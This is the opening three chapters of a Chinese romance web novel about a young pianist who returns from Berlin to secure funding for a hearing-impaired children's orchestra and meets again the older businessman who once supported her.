《雾色越轨[老房子着火]》
1. Chapter 01
《雾色越轨》
文/枕荔
因为所有歧途都把我引向你身边。
——赫尔曼·黑塞《漫游者寄宿所》
-
宋司雾没想到航班会晚点。
从柏林到港城,再转机南城,十六个小时落地,搭上车已经晚上十点。
寒露刚过,南城一夜入秋,气温骤降。
出租师傅往后视镜里瞄了一眼。
年轻女人裹一身黑色风衣,皮肤瓷白。
长发在脑后随意绾成发髻,鬓边两缕碎发拂过颚线。
昏暗灯光也难掩的轮廓清丽,不带攻击性的长相,却漂亮得扎眼。
按惯例总会和客人攀谈几句,可一听目的地是西郊公馆,师傅便识趣地不再问——
那是幢具有百年历史的老洋房,最初是德国商人为自己营建的住宅,其中一幢毁于战火,现有保存下来的这栋,千禧年后政府按照原样修复,作为高规格接待场所对外开放,去的人通常非富即贵,问了也是讳莫如深。
车子驶到半山腰,隔着婆娑树影,已经能望见建筑主体,以九根爱奥尼柱支撑,二三层皆为阳台。
宋司雾脚踩细高跟,拖着银灰行李箱迈进公馆大门。
几名穿白色制服的执勤人员神色古怪地投来目光。
见过来捞的,没见过带着行李来捞的。
宋司雾立住拉杆站定,从风衣口袋里抽出震动的手机。
电话是发小姜莱打来的,问她到了没有。
回国前她从姜莱那儿得到消息,今晚西郊公馆有个大佬云集的酒局,汇集了不少南城政商两界的代表。
姜莱的原话是:就算原本的项目投资拿不回来,在场这么多富商大贾,随便从手指缝里漏点儿都够她们那个小乐团几个月的开销。
宋司雾深以为然。
“易海怀这人难缠,行踪不定,不知道今晚你能不能见得到。要是他不在,等我明天回去陪你到易海集团门口堵人。”
电话那头话音刚落,宋司雾便瞥见几个西装革履的男人自一侧扶手楼梯下来,正要拐进宴会大厅。
“我看见他了。”宋司雾捏着手机,径直朝其中一个戴细框眼镜的中年男人走过去。
“小姐,没有邀请函不能入内——”
宋司雾不顾保安阻拦,直接挡在一行人面前。
男人看见她时有片刻的错愕,原本奉迎的笑容顿时僵在脸上。
宋司雾:“易总您好。”
易海怀眯起眼打量眼前的年轻女人,显然是认出来了,“宋小姐?好久不见。”
宋司雾没心思和他寒暄,开门见山:“我有事找您,能否借一步说话。”
易海怀为难地笑一笑,随口推脱:“今天不方便,改日吧。”
一旁的保安作势要请她出去,宋司雾却不让步,目光岿然,嘴角挂着挑不出错的弧度:“易总,撤资的事请再考虑一下。”
易海怀神色冷了几分。
今晚他做东,请的都是南城科技领域的企业代表,没心思理会其他事,但这会儿十数双眼睛盯着,他也不好轻易赶人。
他瞥了眼宋司雾身后贴着某航司托运单的行李箱,笑着说:“宋小姐这么晚从机场赶过来肯定也累了,我叫人安排个房间,今晚先好好休息,有什么事情我们明天再谈。”
宋司雾默了一瞬,声音再平静不过,“易总的意思是,今晚我陪你睡一觉,易海集团就继续注资?”
易海怀脸都黑了,将这样寡廉鲜耻的话拿到台面上说,叫他仅有的体面也维持不下去了。
“宋小姐真会开玩笑,我易某人还没那么肮脏。”
到底是在商场摸爬滚打数十年的人精,轻易不会挂脸,内心再怒不可遏,表面还是装作和谐,“来者是客,宋小姐既然有事要谈,不如进去坐,我们边喝边聊。”
宋司雾颔首,极浅地弯了下唇,将行李交给前台寄存。
红毯从门口一路铺进去,巨型水晶吊灯悬挂在大厅中央,香槟杯堆砌成塔,乐队正在演奏《莫扎特G小调交响曲》。
侍者上前接过宋司雾的风衣外套。
她今天的打扮再简单不过。
一身月白色收腰长裙,没戴任何首饰,站在一众华服高定中却毫不逊色,一入场便吸引了数道目光。
有人同易海怀寒喧,借机将话题引到宋司雾身上,“易总身边真是美女云集啊。今天又有新面孔,易总不介绍一下?”
易海怀虽有不快,但漂亮女人就像是男人的“名牌包”,谁会拒绝在这种场合拿出来炫耀,更何况是宋司雾这种级别的。
易海怀陪个笑,“这位是宋司雾宋小姐,孟老的学生,刚从德国回来。”
宋司雾微微颔首,不卑不亢地同众人打招呼。
“原来是孟老的学生,是我刚才眼拙了。”
“我记得孟鉴清教授早就不收徒了吧?几年前犬子备考伯克利,想请孟老点拨一二都被婉拒了。”
“还是易总人脉广啊,这医疗器械做大了,又准备进军娱乐产业了?”
易海怀笑笑,三两句话揭过去。
宋司雾安静地站在一边,脸上挂着毫无温度的标准化笑容。
片刻,她手机响了一声。
解锁一看,是银行的转账提醒。
她按灭屏幕,低声打断易海怀。
易海怀不耐烦地瞥来一眼,怕她又当面出言不逊,只好对几位宾客说失陪。
“钱已经派人打给你了,宋小姐还有什么事?”他耐心告罄,这会儿已经没有什么好脸色。
宋司雾的声音平静无澜,“易总想花十万块钱摆平我恐怕不行,您也知道,这连给一个孩子植入人工耳蜗的手术费都不够。”
易海怀眯起眼,隔着镜片睨她,冷哼一声,“宋小姐,易某是生意人,既然上次已经把话说开了,我看也没有继续合作的必要了吧。”
易海集团是靠进口医疗器械在南城站稳脚跟的。
半年前,易海怀和南城某特殊教育学校的校长达成协议,答应资助一批在南城借读的山区听障儿童安装进口人工耳蜗。
这位校长和孟鉴清恰好是熟识,有次南城交响管乐团在该校公益演出,孟鉴清也受邀参加。
前几年孟鉴清因为听神经瘤,丧失了一部分听力,可能是出于同病相怜的情绪,孟鉴清见到孩子们对各类乐器表现出强烈的好奇,萌生了组建听障儿童乐团的想法。
这些孩子大多有中重度的听力障碍,要教会他们歌唱演奏,可谓相当艰难。
易海怀得知此事后夸下海口,说等给孩子们装好人工耳蜗,还要包揽乐团新建教室、购置乐器和聘请老师的全部费用。
结果上个月易海怀临时反悔,不仅投资乐团的钱没到账,就连资助人工耳蜗的手术费也三番五次地推脱。
眼看孩子们的期望落空,孟鉴清又因身体原因尚在休养,心有余而力不足,便将此事托付给宋司雾。
上回易海怀到欧洲出差,宋司雾前去拜访过一次。
说到注资的事,易海怀满口的经济寒冬周转困难,要他们体谅做企业的艰辛。
最后自然是不欢而散。
“易总和宋小姐单独聊什么严肃话题呢,气氛搞这么紧张?”
易海怀见有人来,立时换了一副面孔,笑道:“哪里,同宋小姐聊聊合作。”
说话的这位很会审时度势,方才目睹了两人在宴会厅外剑拔弩张的架势,看出宋司雾是个厉害角色。
“我听说宋小姐精通各种乐器,今年刚拿了肖赛的冠军,还参加了柏林爱乐乐团的演出,真是年轻有为啊。”
“您过誉。”宋司雾神色很淡,脸上没什么表情。
对方笑一笑,同易海怀交换个眼神,“宋小姐难得回国,今天沾易总的光,不如请宋小姐上台演奏一首,也好叫我们这些老古董一饱耳福。”
这种关口让宋司雾上台表演,无异于是拿她羞辱取乐。
易海怀冷眼瞧着,料定她会知难而退。
宋司雾唇边浮起淡淡的笑,声音清透,仍是一副温和无害的样子。
“那我就献丑了。”
她走到大厅中央,同刚刚结束演奏的钢琴乐手说了几句话。
乐手会意地点点头,将麦克风递给她,同其他人一起下了台。
宋司雾走到钢琴边,轻敲两下麦。
宾客们面面相觑,以为这是今晚的节目之一,目光汇及一处,渐渐安静下来。
宋司雾打开语音备忘录,将手机的出声筒对准麦克风,播放了一段音频。
开始是细碎的电流声,接着是断断续续的人声哼唱旋律,顺着扩音器放大到整个宴会厅。
仔细听能识别出是一首家喻户晓的儿歌。
宋司雾随手搭上钢琴键,复刻了刚才的音律。
“这个旋律想必各位耳熟能详。”
“对于普通孩子来说,这首歌或许很简单。但对于同龄的听障儿童而言,至少需要训练一年才能够勉强哼唱。他们大多患有中重度的听力障碍,但却同样有一颗憧憬音乐的心。
“今天,一个由山区听障儿童组成的乐团即将成立。我代表乐团创始人孟鉴清教授、以及山区的孩子们,感谢易海集团的帮助和支持,让这群特殊的孩子有机会实现‘被听见’的梦想。”
话毕,宋司雾从侍者捧的托盘里捞起一杯红酒,淡笑地举到空中,“这杯,我敬易总。”
继而仰头一饮而尽。
全场掌声雷动。
经久不衰。
台下易海怀唇角抽搐,脸色愈发难看。
不知情者纷纷感叹:“今天宋小姐真是帮易总添彩来了。”
易海怀按捺怒火,只得陪笑。
这女人是故意把他架在火上烤,今天当众这样一宣布,这钱他是不掏也得掏。
易海怀沉着脸,见宋司雾走过来,从牙缝里挤出一句:“宋小姐,你可真有本事,几句话让易某大出血,待会儿可要多喝几杯。”
宋司雾扯了扯唇,“好啊,多谢易总盛情。”
她脚步有些浮,胃里似有火在烧,借口去了趟洗手间。
扶着大理石台面缓了一会儿,抬起头,巴洛克式鎏金镜框中映出一张潮红的脸。
她酒量差,几乎一杯就倒,方才为了逼易海怀把整杯红酒灌下肚,这会儿头晕得厉害,接了几捧水浇在脸上才稍稍清醒一点。
宋司雾打开手包,从里面摸出枚解酒糖,挤进嘴里,几下咬碎,淡淡的姜黄蜂蜜味充斥口腔。
室外不知何时开始刮风,冷空气从窗口吹进来,她不禁
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瑟缩了一下。
打算回去拿外套,刚进大厅又被易海怀几人盯上。
“宋小姐这是要去哪儿?”
易海怀今晚喝的也不少,这会儿面泛酡色,直勾勾盯着她,眼神愈发不清明。
宋司雾皱了皱眉,转身欲走,却被易海怀的手下拦了下来。
“宋小姐今晚给易总做了这么好的一个宣传,可是我们易海集团的功臣,我得敬你一杯。”
“是啊,宋小姐,我也敬你。”
说着,那人倒了满满一杯干红,递过来的时候酒杯故意没拿稳,潋滟的酒液尽数浇在她衣服前襟上,一片刺眼的红。
“哎呀不好意思啊宋小姐,把你衣服弄脏了,要不我帮你擦擦……”
说着,那人的手就要往她胸口探。
宋司雾血液直往脑门上冲,本能地后退几步。
下一瞬,却听见宴会厅大门砰地打开,场子内响起一阵骚乱,又骤然安静。
不少人围拢过去,一迭声地问好。
助理走到易海怀身边提醒:“易总,那位过来了。”
易海怀蹙着眉,啧了一声:“谁啊?”
“顾氏的那位,好像今晚跟人在二楼谈事。”
易海怀一听脸色骤变,顾不上羞辱宋司雾了,忙理好衣领,带着人率先迎上去。
宋司雾无心再待下去,转身往人群边缘走,背后传来易海怀奉承讨好的声音。
“顾总,不晓得您今天也在,真是怠慢了。”
人群中央徐徐响起一道沉肃的男声。
“易总客气,听说今晚易总在大厅设宴,过来打声招呼。”
宋司雾脚步猛然一顿,心脏直直向下坠,指尖不由得掐进掌心。
大概是太久没听到这个声音,生疏了。
冰凉的酒液在心口处晕开,顺着毛孔钻进身体,彻骨的冷。
乐队键盘手瞧见她一副失魂落魄的样子,好心问侍者要了条毛巾递过去,“你还好吧?”
宋司雾接过,淡淡道一声谢。
旁边几名提琴手聚在一起低声议论。
“谁啊这么大排场?协会的领导们都过去打招呼了。”
“你不知道啊?那位可是顾氏集团现任的掌权人,这几年顾氏旗下的智能制造产业势头正盛,谁不想跟他搭上关系。”
易海怀虽是这两年才来的南城,但在此之前也对这位有所耳闻。
年纪轻轻就带领团队在纳斯达克敲钟,回国后又接任家族集团一把手,能力不可小觑。
易海怀:“顾总肯赏光是我的荣幸,往后还得仰仗您多关照。我叫人备了些薄酒,顾总可坐下来喝两杯?”
“好说。酒我就不喝了。我有事先走一步,诸位慢聊。”
易海怀不敢不允,这种人多眼杂的场合真把这尊大佛留下来反而怠慢。
他交代助理善后,满脸堆笑地亲自送客。
众人簇拥下,男人提步出门。
视线穿过重重人影,自宋司雾身上一扫而过,没有转瞬停留。
-
宋司雾去洗手间简单处理完裙子上的红酒渍,问前台借了把伞。
外面暴雨如注,公馆门前已有积水趋势,外头的车子开不过来。
她一手撑伞,拖着箱子走进雨中。
雨水浇在路面上,溅起白色水花,伞架在狂风中摇摇欲坠。
她脚下淌水,裙子下摆几乎湿透,走了几百米,才找到一个公交站台躲雨。
周遭水汽弥散,连带心口都被氲出潮湿。
宋司雾站在原地缓了一会儿,才重新找回呼吸。
久别重逢,是一个极富物哀色彩的词。
有些人光听声音就能把你拉入回忆的漩涡,所有尘封的过往都在这四个字中发酵。
她也不能免俗。
当年她不告而别,一走四年,没想到刚回来就撞上他。
雨天车难打,叫车软件的雷达扫了一圈又一圈,十几分钟过去了,没有一个车型应答。
上飞机前姜莱提醒过她,南城受台风影响今夜有雨,不曾想会这么大。
进退两难之际,一辆黑色汽车缓缓驶停在她面前。
车窗落下,对上一双熟悉又淡漠的眼。
“去哪,送你。”男人声线沉冷,寒意迫人。
宋司雾微怔,恍惚间以为在梦中。
铅灰色的云层深处电光闪烁,短暂点亮那张风烟俱净的面容。
她默了片刻,才道:“不用,我叫的车马上就到。”
雨夜浓稠,点漆似的眸子几乎将她看穿。
“今夜台风,外环所有道路全部管控,你叫的车不会来了。”
宋司雾抿住唇。
路边的几株梧桐被风刮得摇摇欲断,一地的残枝败叶。
眼前的场景过于熟悉。
秋季,雨夜,她也是这样一身狼狈,上了他的车。
命运喜欢重复、推演、偶合。
她走了四年,似乎又回到原点。
好像一个循环。
她拢着外套,随手拂开吹在脸上的长发。
隔着朦胧的雨幕,凉声问:“不怕我又讹上你吗?”
顾淮序揿灭香烟,声淡如水,不带半点情绪。
“我喜欢被人讹。”
2. Chapter 02
夜雨寒潮,宋司雾心口泛起一阵潮湿。
四年未见,他还是当初那副沉肃疏离的模样。
就连面对她时,那副端方持重的姿态都一模一样。
他向来不屑在字眼上与人周旋,这种话从他口中说出,难有遐想的余地,只叫她听出些讽刺意味。
顾淮序:“这条路地势低,除非你打算在水中站一晚。”
他嗓音冷冽,如同暗河下的浮冰。
梧桐树冠的枝条剧烈摇晃,劲风过境的尖啸声几乎盖过一切。
宋司雾轻轻扯唇,声音提高两分,“不如这样,您载我一程,我按专车的价格付费。”
顾淮序神色漠然,看向她的目光里多了几分审视。
大概觉得她长本事了,跟他算这种账。
顾淮序未表态,两人就这样隔着车窗对峙。
宋司雾裙子泡了水,这会儿跟只落汤鸡似的,不论搭谁的车,之后清理起车厢来恐怕都要花好一番功夫。
她心口发堵,率先打破沉默:“顾总是觉得钱不够?”
视线相对,顾淮序用目光攫住她,没有作声。
宋司雾抿住唇,不明白他到底什么意思,视线不自觉逡巡过男人的脸。
世事雕琢,并未在他身上留下太多痕迹,只叫他轮廓比从前硬朗几分。
不得不承认,顾淮序的骨相和皮相俱佳。
他有一些眉压眼,眉骨立体,眼眶深邃,目光一错不错看过来时,有种摄魂夺魄的蛊惑之感。
宋司雾别过眼,胃里突然传来一阵钝痛,翻江倒海般袭来。
她腰肢被压弯几分,艰难地下意识开口:“车上有药吗?我胃疼……”
这突如其来的插曲仿佛苦肉计般,叫她有种无地自容的难堪。
不过她大概是白问一句。
阔别数年,他车上怎么可能还备着她的药。
顾淮序收回视线,淡声:“上来。”
静观其变的司机立即从驾驶位上下来,接过宋司雾的行李箱,“宋小姐,我来吧。”
司机师傅她是认识的,也就不再客气,忍着腹痛,绕到另一侧,收了伞,拉开后座车门,弯腰钻进去。
车厢内一股克制的雪松冷香。
她吸了吸鼻子,飞快地瞥了顾淮序一眼。
男人双腿交叠靠在椅背上,黑色西裤剪裁精良,露出熨得笔直的裤线。
对比之下,她外套和裙摆都湿了大半,显得格外狼狈,衣料贴在小腿上瑟骨的冷,她不禁打了个寒颤。
幸而车上开着空调,出风口源源不断吹出温热气流,叫她好受不少。
宋司雾从口袋里掏出手机,打开地图软件,正想搜索一下附近药店,一只药盒自右侧递了过来。
“门边有水。”
宋司雾心口一滞。
奥美拉唑。
是她从前常吃的那种。
药盒尚未开封,生产日期刻着今年。
她接过来,从铝板里按出一枚药片,和水吞服。
等药起效还需时间,胃里持续的钝痛叫宋司雾额头浮起一层薄汗。
身侧男人瞥她一眼,语气一如既往寡淡:“什么时候回来的?”
宋司雾:“……两小时前。”
听到他这么问,她才确信今晚的确是偶遇,而非他提前得知她要回国而特地来捉她。
待司机上车,顾淮序问她:“去哪儿?”
宋司雾报了个地址。
她刚回国,没有提前租房,姜莱让她暂且去她那儿住。
顾淮序没有追问,汽车往前开了一段,汇入车流。
台风猛烈,沿路有一些挂断的树枝横亘在车道中间。
雨刮器在玻璃上来回摆动,扫出一片清晰区域,又立即被雨水浇得模糊。
宋司雾双脚慢慢回温,胃腔的痛感减弱。
唯一叫她不自在就是旁边的人。
他存在感实在太过强烈,每每和他同处一个空间之中,总叫她有种呼吸微凝之感。
汽车在雨幕中行进了许久,导航到姜莱住处附近,宋司雾翻出手包,点了点剩下的欧元现金,叠好,塞进中央扶手台。
“我身上暂时只有这些,顾总要觉得不够,可以留个卡号,回去我转给您。”
她语气客套,真要跟他银货两讫的架势。
顾淮序漠然瞧着她的动作,未置一词。
汽车稳稳停在小区门口的一棵老槐树下。
宋司雾道声谢,伸手去拉车门,身后传来顾淮序的声音:“和易海怀谈交易,你找错人了。”
她手指一顿,转头看过去。
顾淮序脸上并没有什么多余的情绪,车外浓稠的夜色在他黑发边缘消散,叫他整个人仿佛要与暗夜融为一体。
宋司雾轻笑了一下,“顾总的意思,我应该找谁?”
顾淮序没去看她,平静地吩咐司机:“周师傅,去帮忙买包烟。”
宋司雾听懂,这是支开人的话术。
司机会意,撑伞下了车。
车内仅剩两道呼吸,雨水从四面八方灌下来,整个车厢仿佛在深海中悬浮的一辆潜水艇。
沉默发酵,空气愈发稀薄,宋司雾快要呼吸不过来。
她泄了几分力,上半身靠进椅背里,语气轻嘲:“顾总想让我去找谁?李总,刘总,还是今晚席间的哪个富商?或者您有更好的渠道帮我推一推。”
顾淮序睨她一眼,并不理会这番阴阳怪气,徐徐开口时声音很冷:“你喝酒了。”
宋司雾微微一愣。
她喝得不多,浓郁的酒精味大概率是来自那杯泼在衣服上的干红。
胃里又开始痛起来,手指不禁蜷缩,掐进掌心。
她收起笑脸,不打算再和顾淮序纠缠下去,“要是没别的事,我就不耽误顾总的时间……”
“宋司雾。”
他唤她全名,隐隐的警告意味,“别这么叫我。”
宋司雾抬眸,笑意不及眼底,“那您想我怎么叫,还是您更喜欢以前的称呼?顾先生,还是顾叔叔?”
话音刚落,她手腕被人一捉,用力往前一带。
距离骤然拉近,宋司雾睫毛猛地颤了一下。
他掌心温度灼热,掌骨硌得她手腕生疼。
挣扎了半天,却抽不回手。
气息围剿,她嗅到他身上积雪冷松混杂一点淡淡的烟草香气。
太具侵略性的味道,叫人头皮发麻。
窗外一片荒凉的灰。
车厢沦为雨的囚笼。
他指腹紧贴着她的皮肤,感受到脉搏的强烈跳动。
借着头顶的阅读灯,顾淮序切切实实地看清了她。
小姑娘长大了。
眉眼清丽,瞳仁透亮,眼波流转时添了几分妩媚。
要说有多成熟倒也没有,装腔作势笑起来的时候眼底情绪还是生涩。
那股机灵劲儿倒是跟以前一样,能行云流水地应付那些商场人精。
嘴巴也不饶人,五句话里三句都带刺儿,知道往他痛处扎。
两人离得近,宋司雾罩在外面的风衣随动作掀开一隅,露出内搭的月白色裙装,映衬皮肤,有种雪光融融的质感,胸口那抹嫣红的酒渍也被尽收眼底。
顾淮序松了手,平静地移开目光。
“你以为易海怀真对这个项目感兴趣?当年投资是为了打开市场,现在做公益对他而言早就失去价值。”
顾淮序声调不急不缓,陈述客观事实的口吻。
宋司雾缓缓转动手腕,稳住呼吸,“这就不劳您费心了。”
顾淮序眉头轻锁着,瞥了她一眼,神情叫人琢磨不透。
沉默半晌,下了一句结论:“在外面待了四年,翅膀硬了。”
宋司雾没什么可说的。
她翅膀硬不硬的,也有他当初的一份功劳。
静了片刻,再无人说话,宋司雾拉开后座车门下车,取了行李,走到车窗边客气地同他道别。
万事留一线,也是她从顾淮序身上学来的处事原则,与任何人打交道都尽量保持体面,没有深仇大恨就没必要彻底撕破脸。
“你走吧。”
他不再看她,声音混杂着清寒的雨水,有莫名的虚无缥缈之感。
宋司雾没有停留,转身迈开脚步,身影迅速消失在雨幕之中。
-
狂风骤雨一整夜,宋司雾起床时已是下午五点。
十几个小时的长途飞行彻底拨乱了她的生物钟,昨晚酒精带来的晕眩感尚未完全消失。
台风过境,外面雨已经停了。
姜莱给她打电话,约她晚上去南城一家老字号餐厅吃蟹。
餐厅是预约制的,宋司雾去的时候,姜莱已经提前到了。
昨天宋司雾回国,姜莱临时被安排去沪城出差,没赶得及给她接风。
知道她在国外想这一口,今天回来特地补上。
餐厅是偏新中式的风格,带一个小庭院,安静雅致,私密性很好。
穿过走廊,一股清檀香混杂着悠淡的茶香气息。
两人进了包厢,先点一壶柚子茶边喝边聊。
姜莱和宋司雾自小相识,现在在南城一家艺术工作室做策展人。
她直接从机场过来,没回去换衣服,驼色大衣脱掉,上身一件青果领的米白衬衫,偏职业化的装扮。
姜莱打量好友,说她又瘦了。
宋司雾笑笑,“国内现在不是流行骨感美么,瘦点好看。”
“什么骨感美,抱起来都硌人。”
宋司雾说:“没那么夸张,和你上回见我的时候差不多。”
算算时间,她出国四年,上回两人
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见面还是姜莱实习的时候。
那时姜莱负责的一个艺术品展览需要和德国一家博物馆租借展品,地点不在汉诺威,她跟mentor请了一天假才和宋司雾见上面。
姜莱说:“我以为你打算一辈子待在外面不回来了。”
宋司雾抿一口茶水,开玩笑道:“有可能,说不定你下次见我又是好几年后。”
姜莱没好气地白了她一眼,问:“昨天投资拉的怎么样?”
“不怎么样。”宋司雾简单概括,“碰见顾淮序了。”
姜莱有些惊讶,“他知道你回来吗?”
“应该不知道。”
“那你有没有顺便也敲他一笔?”
宋司雾摇头,“孟老师说,乐团筹建初期顾淮序就以个人名义捐了一笔钱,用于山区听障儿童的学杂费和电子耳蜗安装。”
姜莱评价:“他倒是还和以前一样慷慨。”
聊这些的时候,姜莱有意无意地观察宋司雾。
她表情殊无变化,提到顾淮序时,仿佛在聊一个无关紧要的人。
“我听说,他快订婚了。”
宋司雾手里的杯子一抖,无所谓地嗯了一声。
姜莱看她一眼,继续说:“好像还是你出国那年的那位,都四年了才订婚,估计也没啥感情。”
宋司雾沉默一霎,淡声道:“有没有都和我无关了。”
在外四年,当初顾家资助她的钱已经还清,顾淮序和她也再没有联系。
他要和谁订婚,愿意和谁在一起,都跟她没关系。
姜莱说:“你说他会不会是故意的,知道你回来了,昨晚特地出现。”
宋司雾轻轻扯了下唇角。
他会吗?
她比谁都清醒。
顾淮序对她,从始至终都是一副疏离克制的年长者姿态,永远拿她当小孩子。
昨天帮她也不过是念着那两年的微薄情分。
要说他有什么私心,大概是不想她这个曾被视作和顾家有关系的人在外面过得太难看。
姜莱瞧见她眼下的乌青,知道她最近处在躁期,昨天估计又没睡好。
“我听医生说,你总体情况比之前好,但是还有几项指标不正常。现在既然回来了,以前的事就别去想了,放宽心,先把身体养好。”
宋司雾点点头,“我知道。”
蟹吃到一半,姜莱接了个电话,拿起包,急匆匆地要走。
“下周准备布展的场地出了点问题,我得过去一趟。”
临走前不忙嘱咐宋司雾:“账我已经结了,你胃不好,螃蟹凉性的,别吃太多。”
宋司雾笑着答好,叫她开车注意安全,又坐了一会儿也打算撤了。
走到包厢门口,冷风从庭院里灌进来,直往骨头缝里钻,她被激得地一哆嗦。
想去趟洗手间,没走几步,身后有一个人贴了上来。
“宋小姐,这么巧,没想到回国也能碰上。”
宋司雾回头,一个穿深色大衣的男人立在那儿。
她认出来,这人是易海怀的独子,之前在柏林见过。
“宋小姐怎么一个人?我那儿有上好的雨前龙井,进来坐坐?”男人站在门前,作邀请状地朝包厢内歪了下头。
宋司雾跟不认识他似的,转过脸,继续往外走,一个眼神都没给。
男人几步拦下她,笑说:“宋小姐不给面子?”
对方明显喝了酒,声音压低,语气再轻浮不过,“我知道你在国外很抢手,追你的人很多。这样吧,你开个价,陪我三个月怎么样?”
宋司雾抬起眼,眸子里浸了层寒霜,淡声道:“三个月恐怕不够。”
男人瞧着她这张清冷脱俗的脸,心里泛痒。
他知道国外花样多,笑说:“要不,你彻底跟了我,我们有的是时间慢慢玩儿。”
宋司雾轻嗤一声,“真有意思,昨天你爸和我说了同样的话,要不你回去问问他,说不定过两天你就得叫我一声妈。”
男人讪笑的表情僵在脸上,唇角不自觉地抽搐两下。
宋司雾已经绕过他,往走廊尽头走去。
男人一把扯住她,钳住她手臂往后一按,木门抵得她脊背生疼。
“玩儿我是吧?装什么贞洁烈女,靠和白人睡觉博上位,有什么了不起的?”
宋司雾皱了皱眉,视线落在一旁架子上的细颈青瓷花瓶。
还不等她伸手,旁侧闪出一道黑影,抓住男人的肩膀,狠狠往地上一摜。
劲风掠过,宋司雾不自觉闭了下眼睛。
只听见人体骨骼撞击地板发出的巨大响声。
男人吃痛地咒骂起来。
昏暗中,那道身影压了过来,宋司雾抬眸,猝然撞进一双漆黑的眼瞳。
顾淮序捉住她的手臂,拽着她大步往外走。
3. Chapter 03
顾淮序身量高,穿一袭黑色大衣,颀长宽阔的后背拦住所有视线。
宋司雾不受控制地被他拉走。
夜风携着微苦的茶香和他身上的清寒气息,全数扑在她脸上。
走到餐厅门口,宋司雾挣了下手腕,禁锢的力道才松开了她。
男人停住脚步,抬手将领带扯松两分。
宋司雾察觉到他隐隐的情绪,压低眼睫,尽量不去看他。
她从前不信缘份命定这种说法,现在刚回来没两天就接连撞上他,这怎么不算一种孽缘。
手伸进外套口袋里摸了摸,两侧都是空的,只得颓然放下。
“有烟吗?”
顾淮序眉头微蹙,方才笼在眼底的厉色还未褪净。
又听见她说:“算了,我不抽你的。太淡。”
他平常很少吸烟,就算抽也会选一些口味清淡的,结束之后口腔里残存一些薄荷气味,不至于难闻。
她嫌他的烟味道淡。
那她抽什么?
顾淮序微微垂眼,目光落在她身上。
她今天穿一件廓形棕色皮衣,麂皮半裙搭深卡其长筒靴,妆容有些浓,眼尾微微上挑,稍显成熟的装扮。
整个人的气质清冷纯净,一切装点对她而言只是陪衬。
她确实长大了,整个人蜕变不少。
不再是记忆中那个在校门口和人打架的小姑娘了。
他将钥匙抛给门僮,叫人把车开过来。
单手掌住副驾车门,“上车。”
宋司雾有些莫名,拢了拢眉,“去哪?”
顾淮序看她一眼,声音比夜风更加料峭,“不是要烟?”
宋司雾也不知道怎么就上了他的车。
或许是鬼使神差,抑或许是当下的她迫切需要一剂尼古丁。
车开出去一段,停在一家便利店门口。
宋司雾解开安全带下车,进门扫了眼柜台后侧的烟架,对店员说:“拿包利群。再拿个火机。”
身后,顾淮序也跟进来,脚步走向门店深处又折返。
一瓶带着雾汽的矿泉水自背后递来,“一起。”
年轻店员一边扫码一边打量二人,男帅女美,体型和颜值都很般配,极养眼的一对。
宋司雾扫一眼旁边货架上摆的花花绿绿的盒子,随手抽一个丢在玻璃柜台上。
顾淮序瞥了一眼。
上面赫然几个大字:
玻尿酸,超薄,三合一。
店员对此见怪不怪,拿起来用扫码枪滴了一声,贴心地问:“今天有活动,两件八折,三件七折,两位需要多拿几盒吗?”
顾淮序微微蹙眉,递过付款码,“不用了。”
宋司雾伸手摸过那盒东西,揣进口袋,转身往店外走。
她靠着墙,熟捻地从烟盒里抽出一支,衔在嘴里,拢着火慢慢点燃,浅浅吸了一口。
一套动作行云流水,落在顾淮序眼里。
他并未作声。
宋司雾也不说话,抱着手臂倚在墙边,指尖夹带细细一条,安静地燃烧。
“什么时候开始的。”顾淮序突然问。
迎面刮来一阵风,她表情笼在烟雾之中,看不真切。
“记不清了。”
她烟龄不算久。
以前喜欢他的时候偷偷试过,出国之后更是彻底离不开了。
她本来就不是什么传统意义上的好女孩,更何况吸烟和人品好坏也沾不上边,没必要遮掩。
他透过青白的烟雾看她,“孟教授最近怎么样?”
宋司雾回过神,手里的烟已燃了三分之一,指尖轻轻弹了弹,化作飞灰。
“刚做完第一次化疗,精神不太好。”
听孟鉴清说,他出国之前的检查都经顾淮序的朋友一手安排。
上个月孟老师刚去了欧洲休养,他怎会不晓得这个?
她抬头去看他。
便利店门口的光线幽淡,男人垂首时眉骨下面蒙了一层浅浅的阴影,衬得眉眼格外清绝淡漠。
离开四年,她只偶尔在午夜梦回时分见过这双眼。
幽静疏离,冷漠深隽。
只淡淡一瞥就叫她清醒,他是她无论如何都攀折不起的神龛,无望的高台明月。
静了片刻,顾淮序开口,声音微沉,“就为了易海怀的那笔投资?”
宋司雾看向他,双眼空洞,没有多余的情绪,“您想说什么?”
“不值得。”浅淡吐字,神色一如既往冷寂。
宋司雾轻轻地咬了咬牙。
一支烟将将抽完,烦躁也没有消散几分。
她胸口堵得厉害。
原来在他眼里自己是那么不堪。
宋司雾撩开耳边的碎发,平声道:“顾总高看我了,我对钱色交易没兴趣。”
顾淮序垂眸看她,眼底闪过一些她读不懂的情绪。
他忽然走近,身影压迫下来,头顶的光源被挡去大半。
清寒气息笼罩住她,叫她有种退无可退又无处可逃的错觉。
她呼吸慢了半拍。
“就这么厌恶我?”
顾淮序注视着她,眼底覆霜,宋司雾下意识抿唇,不明白他什么意思。
僵持片刻,烟彻底烧到尽头。
宋司雾退开半步,拍了拍衣服上不存在的灰烬,说:“您多虑了。”
顾淮序神情微凉,单手抄进兜里,静了半刻,淡声道:“该走了。我送你。”
“不用了。”宋司雾把烟头丢进附近的垃圾桶里,不带情绪地弯一下唇,“刚才多谢顾总。我还有约,先走了。”
她侧身穿过男人和墙壁之间的空隙,拢住外套,快步踏入寒风之中。
昨天雨下了一夜,地面到现在还是湿漉漉的,枯黄的梧桐叶粘黏在人行道地砖上,踩在脚下发出沙沙声响。
漫无目的地穿过几条马路,停在红绿灯前。
不是没发觉一直有人跟在身后。
那辆卡宴通体漆黑,蛰伏在夜色之中,叫她感到自己仿佛原始森林中任由窥视的被捕食者。
她脚步一转,朝附近著名的堕落街走去。
这条路的人和车都不算多,街边有不少招揽顾客的年轻男女,三三两两站在店门口抽烟。
一个穿黑色廓形衬衫的男人瞧见宋司雾落单,满面春风地上前递了张卡片。
“美女,今天周一,我们这里的模子哥698一位,过来玩一下呗。可以从晚上10点陪你玩到凌晨4点哦。”
宋司雾轻轻用食指和中指捏住一角,接过卡片看了看,“帅吗?”
男人猛点头,“包帅的,喜欢什么风格随便挑。”
男人本想请她去店里看看,路边黑色卡宴上突然下来一个人,肩宽腿长,轮廓锋利。
一瞧这架势,明显是冲他们来的。
顾淮序摔上车门,冷着脸走过来。
